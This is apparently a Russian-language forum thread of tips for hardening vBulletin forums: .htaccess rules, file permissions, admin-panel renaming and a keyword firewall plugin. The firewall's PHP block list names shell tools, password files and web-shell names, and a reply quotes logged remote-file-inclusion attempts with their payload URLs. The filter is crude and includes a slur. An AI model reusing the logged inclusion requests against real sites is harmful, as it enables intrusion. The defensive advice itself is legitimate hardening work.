[ Советы по защите форумов Vbulletin ] Обновлено 27.10.2009 Если Вы держите свой vbulletin форум, то рано или поздно приходится думать о защите Вашего форума. Начнем: 1) Апдейтимся в самый конец своей линейки(3.5.х,3.6.х,3.7.х) Описание: - Почему?: JelSoft постоянно закрывает всплывшие уязвимости. 2) Переименовываем админку и модерку Описание: Переименовываем админку, но в конфигурации ни в коем случае не пишем путь к нашей переименованной админке. Также переименовываем модерку, но её уже можно прописать в конфигурации(хотя тоже не желательно), так как она менее уязвима Почему?: Если переименовать админку и не указать путь в конфигурации, то будет гораздо сложнее её найти и следовательно применить XSS или еще что похуже. Есть минусы: - редактирование профиля и добавление модераторов перестанут работать без ручной правки ссылок. 3) Ставим .htaccess на админку: Описание: a) если ip статичен, то Код: Code: order allow, deny deny from all allow from you.ip.add.res b) Также ставим дополнительный пароль: Идём по ссылке: _http://vbsupport.org/htaccess.php, заполняем поля и дописываем по инструкции в наш файл htaccess. Почему?: Дополнительное паролирование админки никогда не помешает. 4) Удаляем файлы и папки: Описание: a) Удаляем файлы: /validator.php(если имеется) /checksum.md5(если имеется) b) Удаляем папки: /install/ Почему?: Небезопасные файлы от нулёных версий могут дать возможность просматривать список файлов, а также папка install очень вредная=) 5) Перемещаем вложения и аватары Описание: Идем в админку, далее: a) Вложения -> Метод хранения вложений Вложения должны храниться в базе данных Цитата: Сейчас вложения сохраняются в базе данных , если это не так, то переносим их туда с помощью кнопки 'Вперед'. b) Аватары -> Тип хранения изображений пользователя Аватары должны храниться в базе данных Цитата: Code: Сейчас изображения хранятся в базе данных , если это не так, то переносим их туда с помощью кнопки 'Вперед'. Почему?: Линейка 3.5, если мне не изменяет память давала прямые ссылки на картинки, что ,при неправильной конфигурации хостинга, давало шанс залить через это шелл. 6)Выставляем права на папки Описание: Если выполнен пункт 5), то теперь смело ставим права на папки custom***** 644, так как они нам тепеорь не нужны(или можете их удалить). Дальше, если Вы устанавливали vbulletin по инструкции, у вас все папке в /(корне) должны иметь права 644. Проверьте это, если не так, то выставите права 644. Почему?: Затрудняем хакеру заливку шелла. 7) Нигде, никогда, никому не включаем опцию 'Разрешить html'. Описание: - Почему?: Возможность XSS атак при включенной функции. 8) Ставим .htaccess на папку includes Описание: Ставим .htaccess на папку includes следующего содержания: Code: order allow, deny deny from all Почему?: - если туда каким-либо образом зальют шелл, то не смогут зайти на него. - если вас будут ддосить, то возможен такой вариант, когда интерпретатор php отваливается и остается только апач - и апача разрешает уже читать файлы php - следовательно можно будет прочитать все файлы из папки /includes/ - тот же config.php, что не очень хорошо. 9) Пихните в дир. с файлами, на которых стоят атрибуты 0777 такой хтаксесс: - (c) kerk _http://vbsupport.org/forum/member.php?u=30 Описание: Код: Code: RemoveHandler .phtml RemoveHandler .php RemoveHandler .php3 RemoveHandler .php4 RemoveHandler .php5 RemoveHandler .cgi RemoveHandler .exe RemoveHandler .pl RemoveHandler .asp RemoveHandler .aspx RemoveHandler .shtml <Files ~ "\.php|\.phtml|\.cgi|\.exe|\.pl|\.asp|\.aspx|\.shtml"> Order allow,deny Deny from all </Files> добавить своих хэндлеров, если необходимо все, в этой директории никакой из перечисленных скриптов, выполнить нельзя Почему?: - 10) Устанавливаем хак: http://allcheats.ru/product-firewall_vb_rs.xml Описание: Импортируем хак и создаем файл: logfile_worms.txt с правами на запись вебсервера(777) Почему?: - Защита от кучи 'плохих' присваиваний переменных Подробнее в посте ниже 11) Отредактируйте config.php, впишите id администраторов в поле undeletable user(неудаляемые/неизменяемый пользователи). Описание: /vb/includes/config.php. Просто вписать id администраторов, после того когда внесли все необходимые изменения в профиль. Почему?: - 12) После удаления модов/хаков не забывайте удалять файлы, которые Вы закачали вместе с ними. Описание: - Почему?: - 13) Никогда не сохраняйте бэкапы в папке public_html. Описание: - Почему?: Они будут доступны для скачивания любому, кто узнает имя бэкапа. 14) Установить плагин "Инспектор файлов". Автор - Ghost (http://www.vbsupport.org/forum/member.php?u=38422) Описание: Скачать плагин можно по ссылке: http://allcheats.ru/gfi.zip или http://www.vbsupport.org/forum/showthread.php?t=29131 (необходима регистрация) Почему?: Незаменимая вещь в поиске шеллов на сайте, но ставить её необходимо заранее. ---------- Небольшой итог: доступ к админке получить достаточно сложно - следовательно залить шелл через админку тоже, значит можно залить шелл через уязвимости воблы, но если лить в инклуды - там есть для некоторых хаков файлы, которые требуют 777- то у нас на папке includes стоит deny from all - шелл не заюзать! а на остальные папки можно ставить права 644, если проделали все пункты - тогда достаточно сложно будет залить при правильной настройке chroot'инга(или как его там- на не совсем трезвую голову вылетело слово)... также добавилась защита от самих админов, которые лазают где не попадя, тем самым сажая себя на XSS'ки и трояны. (c) ReanimatoR
БД работает также как и простой запрос по файловой системе, так что где-то больше, где-то меньше На самом деле разницы нет, только вес. Или фтп больше весит или бд от mysql.
Добавляем пункт 10!) http://allcheats.ru/product-firewall_vb_rs.xml устанавливаем этот хак. Перевод от меня. Оригинал на vb.org'e: http://www.vbulletin.org/forum/showthread.php?t=196791 Фильтрация плохих слов Code: $securityrules = array('chr(', 'chr=', 'chr%20', '%20chr', 'wget%20', '%20wget', 'wget(', 'cmd=', '%20cmd', 'cmd%20', 'rush=', '%20rush', 'rush%20', 'union%20', '%20union', 'union(', 'union=', 'echr(', '%20echr', 'echr%20', 'echr=', 'esystem(', 'esystem%20', 'cp%20', '%20cp', 'cp(', 'mdir%20', '%20mdir', 'mdir(', 'mcd%20', 'mrd%20', 'rm%20', '%20mcd', '%20mrd', '%20rm', 'mcd(', 'mrd(', 'rm(', 'mcd=', 'mrd=', 'mv%20', 'rmdir%20', 'mv(', 'rmdir(', 'chmod(', 'chmod%20', '%20chmod', 'chmod(', 'chmod=', 'chown%20', 'chgrp%20', 'chown(', 'chgrp(', 'locate%20', 'grep%20', 'locate(', 'grep(', 'diff%20', 'kill%20', 'kill(', 'killall', 'passwd%20', '%20passwd', 'passwd(', 'telnet%20', 'vi(', 'vi%20', 'insert%20into', 'select%20', 'nigga(', '%20nigga', 'nigga%20', 'fopen', 'fwrite', '%20like', 'like%20', '$_request', '$_get', '$request', '$get', '.system', 'http_php', '%20getenv', 'getenv%20', '/etc/password','/etc/shadow', '/etc/groups', '/etc/gshadow', 'http_user_agent', 'http_host', '/bin/ps', 'wget%20', 'uname\x20-a', '/usr/bin/id', '/bin/echo', '/bin/kill', '/bin/', '/chgrp', '/chown', '/usr/bin', 'g\+\+', 'bin/python', 'bin/tclsh', 'bin/nasm', 'traceroute%20', 'ping%20', '.pl', '/usr/x11r6/bin/xterm', 'lsof%20', '/bin/mail', '.conf', 'motd%20', 'http/1.', '.inc.php', 'config.php', 'cgi-', '.eml', 'file\://', 'window.open', '<script>', 'javascript\://','img src', 'img%20src','.jsp','ftp.exe', 'xp_enumdsn', 'xp_availablemedia', 'xp_filelist', 'xp_cmdshell', 'nc.exe', '.htpasswd', 'servlet', '/etc/passwd', 'wwwacl', '~root', '~ftp', '.js', '.jsp', '.history', 'bash_history', '.bash_history', '~nobody', 'server-info', 'server-status', 'reboot%20', 'halt%20', 'powerdown%20', '/home/ftp', '/home/www', 'secure_site, ok', 'chunked', 'org.apache', '/servlet/con', '<script', '/robot.txt' ,'/perl' ,'mod_gzip_status', 'db_mysql.inc', '.inc', 'select%20from', 'select from', 'drop%20', '.system', 'getenv', 'http_', '_php', 'php_', 'phpinfo()', '<?php', '?>', 'sql=', '_global', 'global_', 'global[', '_server', 'server_', 'server[', '/modules', 'modules/', 'phpadmin', 'root_path', '_globals', 'globals_', 'globals[', 'ISO-8859-1', 'http://www.google.com/search', '?hl=', '.txt', '.exe', 'ISO-', '</', '>', '<', 'SELECT', 'FROM%20', 'alert', 'document.cookie', '*', 'c99shell.php', 'shell.php', 'cmd.php', 'cmd.txt', 'c99.gif', '/r57.txt', 'http*', '$*', '/backdoor.php', '/backdoor.gif', '/backdoor.txt', '/shell.txt', 'smf_members', 'sourcedir=', 'dirname=', 'CREATE%20', 'UNION%20', '_members%20', 'passwd', 'script', '<img', '<?', 'WHERE', 'FLOOD', 'flood', 'floodding', 'ls -', 'uname', 'phpinfo', 'cat%20', 'AVWS', 'avws', 'acunetyx', 'ACUNETYX', 'boot.ini', 'magic%20string', 'STRING', '/membri/', '/membri2/', '/membri2', '/membri', 'r57.php?phpinfo', 'r57.php?phpini', 'r57.php?cpu', 'r57.php?', '|dir', '&dir&', 'printf', 'acunetix_wvs_security_test', '=http', 'converge_pass_hash', 'st=-9999{SQl]', 'st=-', 'cat%20', 'include', '_path='); И создаем файл в корне с chmod'ом 777: logfile_worms.txt
Привет. После установки по твоей рекомендации product-firewall_vb_rs.xml На почту начали сыпаться письма об атаках. 1||1229949655||212.99.231.50||t=8000/?custompluginfile[]=http://www.healthissue.info/data/id.txt??||||Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6 1||1229929340||69.73.165.48||custompluginfile[]=http://www.fileden.com/files/2008/12/14/2223639/id3.txt???||||libwww-perl/5.805 1||1229854362||84.21.71.133||custompluginfile[]=http://www.primet.ro/col_docs/readme.txt????||||libwww-perl/5.805 Как можно еще подстраховаться, а то уж очень много спамеров и недоброжелателей у моего форума )) Зы.. и куда вбивать этот код, тот что выше... Я просто поставил продукт http://allcheats.ru/product-firewall_vb_rs.xml А куда вписать код который ты указал, не понял.
Да это предупреждения что ломают твою воблу. вот тип атаки, который заблокировал файрволл: custompluginfile[]=http://www.fileden.com/files/2008/12/14/2223639/id3.txt следовательно тебя пытаются взломать(скорее всего у тебя старая вобла и там куча дыр). впринцыпе файрволл спасает, но апдейться! Если не хочешь чтобы сыпалось на имайл - отключи в основных настройках=)
Добавил три "дешевых"(но тоже имеющих свое право на существование ) пункта с vb.org: 11) Отредактируйте config.php, впишите id администраторов в поле undeletable user(неудаляемые/неизменяемый пользователи). Описание: /vb/includes/config.php. Просто вписать id администраторов, после того когда внесли все необходимые изменения в профиль. Почему?: - 12) После удаления модов/хаков не забывайте удалять файлы, которые Вы закачали вместе с ними. Описание: - Почему?: - 13) Никогда не сохраняйте бэкапы в папке public_html. Описание: - Почему?: Они будут доступны для скачивания любому, кто узнает имя бэкапа.
Первые три пункта я у Devil'a на vbsupport видел. Он тестировал мою воблу на уязвимости. Первые три пункта я и словил. Остального не видел. Статья и вправду хорошая, если своя.
Может быть я не тут пишу ну да ладно! Меня один клоун на форуме достал , баню по IP через админку , а он меняет IP'ы. И хз как от него избавиться(